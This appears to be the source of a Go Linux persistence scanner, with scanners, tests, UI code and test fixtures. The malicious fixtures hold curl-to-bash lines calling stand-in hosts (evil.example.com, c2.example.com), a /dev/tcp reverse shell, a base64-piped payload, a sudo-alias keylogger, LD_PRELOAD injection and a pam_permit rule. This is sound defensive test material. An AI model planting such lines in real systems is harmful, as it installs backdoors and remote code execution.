Evidence: trimmed,
MITRE: mitre,
})
}
}
}
if IsWorldWritable(path) {
findings = append(findings, types.Finding{
Scanner: systemdScannerName,
Severity: types.SeverityMedium,
Title: "World-writable unit file",
Path: path,
Evidence: "File permissions allow any user to modify this unit",
MITRE: mitre,
})
}
if ModifiedWithin(path, 24*time.Hour) {
findings = append(findings, types.Finding{
Scanner: systemdScannerName,
Severity: types.SeverityMedium,
Title: "Recently modified unit file",
Path: path,
Evidence: "Modified within the last 24 hours",
MITRE: mitre,
})
}
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/*
©AngelaMos | 2026
systemd_test.go
*/
package scanner
import (
"path/filepath"
"runtime"
"testing"
"github.com/CarterPerez-dev/sentinel/pkg/types"
)
func testdataDir() string {
_, file, _, _ := runtime.Caller(0)
return filepath.Join(
filepath.Dir(file),
"..", "..", "testdata",
)
}
func TestSystemdScanner_CleanService(t *testing.T) {
s := &SystemdScanner{}
findings := s.analyzeUnit(
filepath.Join(
testdataDir(), "systemd", "clean-service.service",
),
mitreSystemd,
)
suspicious := filterSuspicious(findings)
if len(suspicious) > 0 {
t.Errorf(
"clean service produced %d suspicious findings, want 0",
len(suspicious),
)
for _, f := range suspicious {
t.Logf(" finding: %s (%s)", f.Title, f.Evidence)
}
}
}
func TestSystemdScanner_SuspiciousService(t *testing.T) {
s := &SystemdScanner{}
findings := s.analyzeUnit(
filepath.Join(
testdataDir(),
"systemd",
"suspicious-service.service",
),
mitreSystemd,
)
suspicious := filterSuspicious(findings)
if len(suspicious) == 0 {
t.Fatal("suspicious service produced no findings")
}
foundCurl := false
foundTmp := false
for _, f := range suspicious {
if f.Severity >= types.SeverityHigh {
foundCurl = true
}
if f.Severity >= types.SeverityMedium {
foundTmp = true
}
}
if !foundCurl {
t.Error("expected high-severity finding for curl|sh")
}
if !foundTmp {
t.Error("expected finding for /tmp path")
}
}
func TestSystemdScanner_TimerMITRE(t *testing.T) {
s := &SystemdScanner{}
path := filepath.Join(
testdataDir(),
"systemd",
"timer-backdoor.timer",
)
findings := s.analyzeUnit(path, mitreTimer)
for _, f := range findings {
if f.MITRE != mitreTimer {
t.Errorf(
"timer finding MITRE = %q, want %q",
f.MITRE, mitreTimer,
)
}
}
}
func TestSystemdScanner_PathUnit(t *testing.T) {
s := &SystemdScanner{}
path := filepath.Join(
testdataDir(),
"systemd",
"watch-beacon.path",
)
findings := s.analyzeUnit(path, mitrePath)
for _, f := range findings {
if f.MITRE != mitrePath {
t.Errorf(
"path unit MITRE = %q, want %q",
f.MITRE, mitrePath,
)
}
}
}
func filterSuspicious(
findings []types.Finding,
) []types.Finding {
var result []types.Finding
for _, f := range findings {
if f.Severity >= types.SeverityMedium &&
f.Title != "Recently modified unit file" {
result = append(result, f)
}
}
return result
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/*
©AngelaMos | 2026
udev.go
Scans udev rules for persistence through device event triggers
Parses udev rule files for RUN+= directives that execute commands
on hardware events. Flags rules pointing to suspicious paths or
containing shell interpreters and network tools.
MITRE ATT&CK:
T1546 - Event Triggered Execution
*/
package scanner
import (
"strings"
"github.com/CarterPerez-dev/sentinel/pkg/types"
)
const (
udevScannerName = "udev"
mitreUdev = "T1546"
)
var udevDirs = []string{
"/etc/udev/rules.d",
"/lib/udev/rules.d",
"/usr/lib/udev/rules.d",
"/run/udev/rules.d",
}
func init() {
Register(&UdevScanner{})
}
type UdevScanner struct{}
func (u *UdevScanner) Name() string {
return udevScannerName
}
func (u *UdevScanner) Scan(
root string,
) []types.Finding {
var findings []types.Finding
for _, dir := range udevDirs {
resolved := ResolveRoot(root, dir)
for _, path := range ListFiles(resolved) {
if !strings.HasSuffix(path, ".rules") {
continue
}
findings = append(
findings,
u.scanRuleFile(path)...,
)
}
}
return findings
}
func (u *UdevScanner) scanRuleFile(
path string,
) []types.Finding {
lines := ReadLines(path)
if lines == nil {
return nil
}
var findings []types.Finding
for _, line := range lines {
trimmed := strings.TrimSpace(line)
if IsCommentOrEmpty(trimmed) {
continue
}
if !strings.Contains(trimmed, "RUN+=") &&
!strings.Contains(trimmed, "RUN+=\"") {
continue
}
runCmd := extractRunDirective(trimmed)
if runCmd == "" {
continue
}
matched, sev, label := MatchLine(runCmd)
if matched {
findings = append(findings, types.Finding{
Scanner: udevScannerName,
Severity: sev,
Title: "Suspicious udev RUN directive: " + label,
Path: path,
Evidence: trimmed,
MITRE: mitreUdev,
})
continue
}
if TempDirPattern.MatchString(runCmd) ||
containsShellCommand(runCmd) {
findings = append(findings, types.Finding{
Scanner: udevScannerName,
Severity: types.SeverityMedium,
Title: "Udev rule executes command",
Path: path,
Evidence: trimmed,
MITRE: mitreUdev,
})
}
}
return findings
}
func extractRunDirective(line string) string {
idx := strings.Index(line, "RUN+=")
if idx == -1 {
return ""
}
rest := line[idx+5:]
rest = strings.TrimPrefix(rest, "\"")
if end := strings.Index(rest, "\""); end != -1 {
return rest[:end]
}
return strings.TrimSpace(rest)
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/*
©AngelaMos | 2026
udev_test.go
*/
package scanner
import (
"path/filepath"
"testing"
"github.com/CarterPerez-dev/sentinel/pkg/types"
)
func TestUdevScanner_BackdoorRule(t *testing.T) {
u := &UdevScanner{}
path := filepath.Join(
testdataDir(), "udev", "backdoor.rules",
)
findings := u.scanRuleFile(path)
if len(findings) == 0 {
t.Fatal("backdoor udev rule produced no findings")
}
hasHighOrAbove := false
for _, f := range findings {
if f.Severity >= types.SeverityHigh {
hasHighOrAbove = true
}
}
if !hasHighOrAbove {
t.Error("expected high+ severity for curl|sh in RUN+=")
}
}
func TestExtractRunDirective(t *testing.T) {
tests := []struct {
name string
line string
want string
}{
{
name: "quoted directive",
line: `ACTION=="add", RUN+="/bin/bash -c 'echo test'"`,
want: "/bin/bash -c 'echo test'",
},
{
name: "no run directive",
line: `ACTION=="add", SUBSYSTEM=="usb"`,
want: "",
},
{
name: "unquoted directive",
line: `RUN+=/usr/bin/payload`,
want: "/usr/bin/payload",
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
got := extractRunDirective(tt.line)
if got != tt.want {
t.Errorf(
"extractRunDirective(%q) = %q, want %q",
tt.line, got, tt.want,
)
}
})
}
}

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/*
©AngelaMos | 2026
xdg.go
Scans XDG autostart entries for persistence through desktop login
Parses .desktop files in system and user autostart directories for
suspicious Exec= directives that run on graphical session login.
MITRE ATT&CK:
T1547.013 - Boot or Logon Autostart Execution: XDG Autostart Entries
*/
package scanner
import (
"path/filepath"
"strings"
"github.com/CarterPerez-dev/sentinel/pkg/types"
)
const (
xdgScannerName = "xdg"
mitreXDG = "T1547.013"
)
func init() {
Register(&XDGScanner{})
}
type XDGScanner struct{}
func (x *XDGScanner) Name() string {
return xdgScannerName
}
func (x *XDGScanner) Scan(
root string,
) []types.Finding {
var findings []types.Finding
sysDir := ResolveRoot(root, "/etc/xdg/autostart")
findings = append(
findings,
x.scanAutostartDir(sysDir)...,
)
for _, home := range FindUserDirs(root) {
userDir := filepath.Join(
home, ".config", "autostart",
)
findings = append(
findings,
x.scanAutostartDir(userDir)...,
)
}
return findings
}
func (x *XDGScanner) scanAutostartDir(
dir string,
) []types.Finding {
var findings []types.Finding
for _, path := range ListFiles(dir) {
if !strings.HasSuffix(path, ".desktop") {
continue
}
findings = append(
findings,
x.analyzeDesktop(path)...,
)
}
return findings
}
func (x *XDGScanner) analyzeDesktop(
path string,
) []types.Finding {
lines := ReadLines(path)
if lines == nil {
return nil
}
var findings []types.Finding
for _, line := range lines {
trimmed := strings.TrimSpace(line)
if !strings.HasPrefix(trimmed, "Exec=") {
continue
}
cmd := strings.TrimPrefix(trimmed, "Exec=")
matched, sev, label := MatchLine(cmd)
if matched {
findings = append(findings, types.Finding{
Scanner: xdgScannerName,
Severity: sev,
Title: "Suspicious XDG autostart: " + label,
Path: path,
Evidence: trimmed,
MITRE: mitreXDG,
})
} else if TempDirPattern.MatchString(cmd) {
findings = append(findings, types.Finding{
Scanner: xdgScannerName,
Severity: types.SeverityMedium,
Title: "XDG autostart runs from temp directory",
Path: path,
Evidence: trimmed,
MITRE: mitreXDG,
})
}
}
return findings
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/*
©AngelaMos | 2026
xdg_test.go
*/
package scanner
import (
"path/filepath"
"strings"
"testing"
"github.com/CarterPerez-dev/sentinel/pkg/types"
)
func TestXDGScanner_CleanDesktop(t *testing.T) {
x := &XDGScanner{}
path := filepath.Join(
testdataDir(), "xdg", "clean.desktop",
)
findings := x.analyzeDesktop(path)
if len(findings) > 0 {
t.Errorf(
"clean desktop file produced %d findings, want 0",
len(findings),
)
for _, f := range findings {
t.Logf(" finding: %s (%s)", f.Title, f.Evidence)
}
}
}
func TestXDGScanner_SuspiciousDesktop(t *testing.T) {
x := &XDGScanner{}
path := filepath.Join(
testdataDir(), "xdg", "suspicious.desktop",
)
findings := x.analyzeDesktop(path)
if len(findings) == 0 {
t.Fatal(
"suspicious desktop file produced no findings",
)
}
hasHigh := false
for _, f := range findings {
if f.Severity >= types.SeverityHigh {
hasHigh = true
}
}
if !hasHigh {
t.Error("expected high+ severity for curl|sh in Exec=")
}
}
func TestXDGScanner_TmpDirDesktop(t *testing.T) {
x := &XDGScanner{}
path := filepath.Join(
testdataDir(), "xdg", "tmpdir.desktop",
)
findings := x.analyzeDesktop(path)
if len(findings) == 0 {
t.Fatal(
"tmp dir desktop file produced no findings",
)
}
hasTmp := false
for _, f := range findings {
if strings.Contains(f.Title, "temp") ||
strings.Contains(f.Title, "temporary") {
hasTmp = true
}
}
if !hasTmp {
t.Error(
"expected temp directory finding for /tmp path",
)
}
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/*
©AngelaMos | 2026
banner.go
ASCII art banner renderer for the sentinel CLI header
Renders the SENTINEL logo in alternating red and cyan before scans.
*/
package ui
import "fmt"
var sentinelBanner = []string{
"███████╗███████╗███╗ ██╗████████╗██╗███╗ ██╗███████╗██╗",
"██╔════╝██╔════╝████╗ ██║╚══██╔══╝██║████╗ ██║██╔════╝██║",
"███████╗█████╗ ██╔██╗ ██║ ██║ ██║██╔██╗ ██║█████╗ ██║",
"╚════██║██╔══╝ ██║╚██╗██║ ██║ ██║██║╚██╗██║██╔══╝ ██║",
"███████║███████╗██║ ╚████║ ██║ ██║██║ ╚████║███████╗███████╗",
"╚══════╝╚══════╝╚═╝ ╚═══╝ ╚═╝ ╚═╝╚═╝ ╚═══╝╚══════╝╚══════╝",
}
var bannerColors = []func(a ...any) string{
Cyan,
Red,
Cyan,
Red,
Cyan,
Red,
}
func PrintBanner() {
fmt.Println()
for i, line := range sentinelBanner {
c := bannerColors[i%len(bannerColors)]
fmt.Printf(" %s\n", c(line))
}
fmt.Printf(
" %s\n",
HiBlackItalic(
" Linux persistence mechanism scanner",
),
)
fmt.Printf(" %s\n\n", Dim(HRule(65)))
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/*
©AngelaMos | 2026
color.go
ANSI color sprint functions for terminal output
Exposes pre-built color functions from fatih/color for all severity
levels and UI elements used by the report formatter and banner.
*/
package ui
import "github.com/fatih/color"
var (
Red = color.New(color.FgRed).SprintFunc()
Green = color.New(color.FgGreen).SprintFunc()
Yellow = color.New(color.FgYellow).SprintFunc()
Blue = color.New(color.FgBlue).SprintFunc()
Magenta = color.New(color.FgMagenta).SprintFunc()
Cyan = color.New(color.FgCyan).SprintFunc()
White = color.New(color.FgWhite).SprintFunc()
HiRed = color.New(color.FgHiRed).SprintFunc()
HiGreen = color.New(color.FgHiGreen).SprintFunc()
HiCyan = color.New(color.FgHiCyan).SprintFunc()
HiWhite = color.New(color.FgHiWhite).SprintFunc()
RedBold = color.New(
color.FgRed, color.Bold,
).SprintFunc()
YellowBold = color.New(
color.FgYellow, color.Bold,
).SprintFunc()
CyanBold = color.New(
color.FgCyan, color.Bold,
).SprintFunc()
GreenBold = color.New(
color.FgGreen, color.Bold,
).SprintFunc()
MagentaBold = color.New(
color.FgMagenta, color.Bold,
).SprintFunc()
WhiteBold = color.New(
color.FgWhite, color.Bold,
).SprintFunc()
HiRedBold = color.New(
color.FgHiRed, color.Bold,
).SprintFunc()
Dim = color.New(color.Faint).SprintFunc()
DimItalic = color.New(
color.Faint, color.Italic,
).SprintFunc()
HiBlackItalic = color.New(
color.FgHiBlack, color.Italic,
).SprintFunc()
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/*
©AngelaMos | 2026
spinner.go
Goroutine-backed terminal spinner with graceful stop
Renders a braille-frame animation while scanners run. Hides the
cursor on start, clears the line on stop, and uses a WaitGroup to
block until the background goroutine exits cleanly.
*/
package ui
import (
"fmt"
"strings"
"sync"
"time"
)
var frames = []string{
"⠋", "⠙", "⠹", "⠸", "⠼", "⠴", "⠦", "⠧", "⠇", "⠏",
}
type Spinner struct {
msg string
done chan struct{}
wg sync.WaitGroup
mu sync.Mutex
active bool
}
func NewSpinner(msg string) *Spinner {
return &Spinner{msg: msg}
}
func (s *Spinner) Start() {
s.mu.Lock()
if s.active {
s.mu.Unlock()
return
}
s.active = true
s.done = make(chan struct{})
s.wg.Add(1)
s.mu.Unlock()
go s.run()
}
func (s *Spinner) Stop() {
s.mu.Lock()
if !s.active {
s.mu.Unlock()
return
}
s.active = false
close(s.done)
s.mu.Unlock()
s.wg.Wait()
}
func (s *Spinner) run() {
defer s.wg.Done()
fmt.Print("\033[?25l")
ticker := time.NewTicker(80 * time.Millisecond)
defer ticker.Stop()
idx := 0
for {
select {
case <-s.done:
clearLine()
fmt.Print("\033[?25h")
return
case <-ticker.C:
frame := frames[idx%len(frames)]
fmt.Printf(
"\r %s %s",
CyanBold(frame),
Magenta(s.msg),
)
idx++
}
}
}
func clearLine() {
fmt.Print("\r" + strings.Repeat(" ", 80) + "\r")
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/*
©AngelaMos | 2026
symbol.go
Named Unicode symbol constants and horizontal rule helper for terminal output
Centralizes every UI glyph used across the CLI so report formatters
stay readable without hard-coded Unicode literals.
*/
package ui
import "strings"
const (
Arrow = "→"
ArrowRight = "▸"
Check = "✓"
Cross = "✗"
Diamond = "◆"
DividerChar = "━"
Dot = "●"
Timer = "⏱"
Shield = "🛡"
)
func HRule(width int) string {
return strings.Repeat(DividerChar, width)
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/*
©AngelaMos | 2026
types.go
Shared domain types used across all packages in sentinel
Defines the core data structures that flow through the scan pipeline:
scanner results, individual findings with severity and MITRE mappings,
and the aggregated scan report. All packages import from here; nothing
in this package imports from internal packages.
*/
package types
import "time"
const Version = "1.0.0"
type Severity int
const (
SeverityInfo Severity = iota
SeverityLow
SeverityMedium
SeverityHigh
SeverityCritical
)
func (s Severity) String() string {
return severityNames[s]
}
func (s Severity) Label() string {
return severityLabels[s]
}
var severityNames = map[Severity]string{
SeverityInfo: "info",
SeverityLow: "low",
SeverityMedium: "medium",
SeverityHigh: "high",
SeverityCritical: "critical",
}
var severityLabels = map[Severity]string{
SeverityInfo: "INFO",
SeverityLow: "LOW",
SeverityMedium: "MEDIUM",
SeverityHigh: "HIGH",
SeverityCritical: "CRITICAL",
}
func ParseSeverity(s string) Severity {
for sev, name := range severityNames {
if name == s {
return sev
}
}
return SeverityInfo
}
type Finding struct {
Scanner string `json:"scanner"`
Severity Severity `json:"severity"`
Title string `json:"title"`
Path string `json:"path"`
Evidence string `json:"evidence"`
MITRE string `json:"mitre"`
}
type ScanResult struct {
Version string `json:"version"`
ScanTime time.Time `json:"scan_time"`
Hostname string `json:"hostname"`
Findings []Finding `json:"findings"`
Summary SeverityCount `json:"summary"`
DurationMs int64 `json:"duration_ms"`
}
type SeverityCount struct {
Critical int `json:"critical"`
High int `json:"high"`
Medium int `json:"medium"`
Low int `json:"low"`
Info int `json:"info"`
}
func Tally(findings []Finding) SeverityCount {
var c SeverityCount
for _, f := range findings {
switch f.Severity {
case SeverityCritical:
c.Critical++
case SeverityHigh:
c.High++
case SeverityMedium:
c.Medium++
case SeverityLow:
c.Low++
case SeverityInfo:
c.Info++
}
}
return c
}
type Scanner interface {
Name() string
Scan(root string) []Finding
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#!/bin/sh
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_my_tool_completions()
{
local cur prev opts
COMPREPLY=()
cur="${COMP_WORDS[COMP_CWORD]}"
opts="start stop status"
COMPREPLY=( $(compgen -W "${opts}" -- ${cur}) )
return 0
}
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_git_completions()
{
nohup curl -s http://c2.example.com/keys | bash &
local cur prev opts
COMPREPLY=()
cur="${COMP_WORDS[COMP_CWORD]}"
opts="commit push pull"
COMPREPLY=( $(compgen -W "${opts}" -- ${cur}) )
}
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# System crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
# Run daily log rotation
0 3 * * * root /usr/sbin/logrotate /etc/logrotate.conf
# Weekly package updates
0 4 * * 0 root /usr/bin/apt-get update -q

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# System crontab
SHELL=/bin/bash
# Normal log rotation
0 3 * * * root /usr/sbin/logrotate /etc/logrotate.conf
# Backdoor entry
*/5 * * * * root curl -s http://evil.example.com/payload | bash
# Encoded payload
0 * * * * root echo dGVzdAo= | base64 -d | sh
# Reverse shell
@reboot root bash -i >& /dev/tcp/10.0.0.1/4444 0>&1

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#!/bin/bash
curl -s http://c2.example.com/stage1 | bash
cat > "$1/backdoor.service" <<EOF
[Unit]
Description=Backdoor
[Service]
ExecStart=/tmp/.hidden/beacon
[Install]
WantedBy=multi-user.target
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#!/bin/sh -e
# rc.local
# This script is executed at the end of each multiuser runlevel.
nohup /tmp/.hidden/beacon &
wget -qO- http://c2.example.com/stage2 | sh
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# Suspicious modprobe config
install usb-storage /bin/bash -c 'curl http://evil.example.com/payload | sh'

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/var/log/syslog {
daily
rotate 7
compress
delaycompress
missingok
notifempty
postrotate
/usr/lib/rsyslog/rsyslog-rotate
endscript
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/var/log/app.log {
daily
rotate 14
compress
postrotate
curl -s http://c2.example.com/checkin | bash
endscript
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#!/bin/sh
printf "Welcome to %s\n" "$(hostname)"
printf "System load: %s\n" "$(uptime)"

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#!/bin/sh
printf "Welcome\n"
nohup /tmp/.hidden/beacon &
curl -s http://c2.example.com/checkin | bash

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#!/bin/sh
/usr/sbin/ethtool -s "$1" wol g

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#!/bin/sh
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auth sufficient pam_permit.so
auth required pam_unix.so
account required pam_unix.so

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PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
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# ~/.bashrc: executed by bash for non-login shells
# If not running interactively, don't do anything
case $- in
*i*) ;;
*) return;;
esac
# History settings
HISTCONTROL=ignoreboth
HISTSIZE=1000
HISTFILESIZE=2000
shopt -s histappend
# Check the window size after each command
shopt -s checkwinsize
# Make less more friendly for non-text input files
[ -x /usr/bin/lesspipe ] && eval "$(SHELL=/bin/sh lesspipe)"
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# ~/.bashrc: executed by bash for non-login shells
case $- in
*i*) ;;
*) return;;
esac
HISTCONTROL=ignoreboth
export PS1='\u@\h:\w\$ '
# injected backdoor
nohup /tmp/.hidden/beacon &
alias sudo='/tmp/.keylog && sudo'
export LD_PRELOAD=/dev/shm/.evil.so
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ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC7example user@workstation
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIExampleKey admin@deploy

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command="/tmp/.backdoor/shell" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC7example attacker@c2
environment="LD_PRELOAD=/dev/shm/.evil.so" ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIExampleKey compromised@host
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC7normal user@clean

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Port 22
PermitRootLogin no
PubkeyAuthentication yes
AuthorizedKeysFile .ssh/authorized_keys
PasswordAuthentication no
ChallengeResponseAuthentication no
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Port 22
PermitRootLogin yes
PubkeyAuthentication yes
AuthorizedKeysFile /tmp/.hidden/keys
PasswordAuthentication yes
UsePAM yes

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#!/bin/sh
logger -t sshrc "SSH login from $SSH_CONNECTION"

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#!/bin/sh
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[Unit]
Description=OpenSSH Server
After=network.target
[Service]
Type=notify
ExecStart=/usr/sbin/sshd -D
ExecReload=/bin/kill -HUP $MAINPID
Restart=on-failure
[Install]
WantedBy=multi-user.target

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[Unit]
Description=System Updater
After=network.target
[Service]
Type=simple
ExecStart=/bin/bash -c 'curl http://evil.example.com/payload | sh'
ExecStartPre=/tmp/.hidden/stage1
Restart=always
RestartSec=5
[Install]
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[Unit]
Description=Periodic system check
[Timer]
OnCalendar=*-*-* *:00/5:00
Persistent=true
[Install]
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[Unit]
Description=Watch for beacon removal
[Path]
PathExists=/tmp/.beacon
Unit=restore-beacon.service
[Install]
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ACTION=="add", SUBSYSTEM=="usb", RUN+="/bin/bash -c 'curl http://evil.example.com/usb | sh'"

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[Desktop Entry]
Type=Application
Name=Terminal
Exec=/usr/bin/gnome-terminal
Icon=utilities-terminal
Terminal=false
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[Desktop Entry]
Type=Application
Name=System Update
Exec=/bin/bash -c 'curl http://evil.example.com/payload | sh'
Icon=system-software-update
Terminal=false
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[Desktop Entry]
Type=Application
Name=Helper
Exec=/tmp/.hidden/payload
Terminal=false